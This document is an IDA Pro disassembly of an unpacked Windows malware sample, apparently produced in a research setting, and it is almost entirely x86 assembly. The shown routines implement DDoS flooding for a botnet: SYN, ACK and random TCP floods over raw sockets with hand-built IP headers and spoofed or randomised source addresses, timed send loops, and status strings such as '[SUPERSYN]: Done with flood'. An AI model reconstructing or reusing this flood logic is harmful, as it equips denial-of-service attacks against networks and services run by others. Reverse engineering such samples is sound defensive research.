;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	242919A3D2CFBC3CF81501C18B581AD8

; File Name   :	u:\work\242919a3d2cfbc3cf81501c18b581ad8_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0008C000 ( 573440.)
; Section size in file		: 0008C000 ( 573440.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A17o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 25D05AFh
		push	eax
		call	sub_417302
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h

loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------

loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43F668
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43F668
		mov	[ebp+var_12], ax
		call	sub_41730C
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43F664
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43F668
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 25D0883h
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 25D0616h
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_14], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 25D0616h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------

loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------

loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]

loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43F700
		pop	esi

loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43F5C8
		mov	eax, ebx

loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax

loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C05o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]

loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172B0
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25D0000h

loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25D0000h
		nop

loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25D0000h
		nop

loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax

loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_43C3E8, 45h
		call	dword_43F668
		cmp	[ebp+var_2C], edi
		mov	word_43C3EA, ax
		mov	word_43C3EC, bx
		mov	word_43C3EE, di
		mov	byte_43C3F0, 80h
		mov	byte_43C3F1, bl
		mov	word_43C3F2, di
		jz	short loc_401687
		call	sub_41730C
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		push	1
		mov	dword_43C3F4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------

loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	dword_43C3F4, eax

loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_43C3F8, eax
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FC, dl
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FD, dl
		call	sub_41730C
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43C3FE, di
		mov	word_43C402, bx
		inc	edx
		mov	word_43C400, dx
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C404
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C3E8
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------

loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25D0000h

loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25D0000h
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43F668
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		nop
		call	near ptr 25D0CB3h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx

loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax

loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3908o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------

loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43F668
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
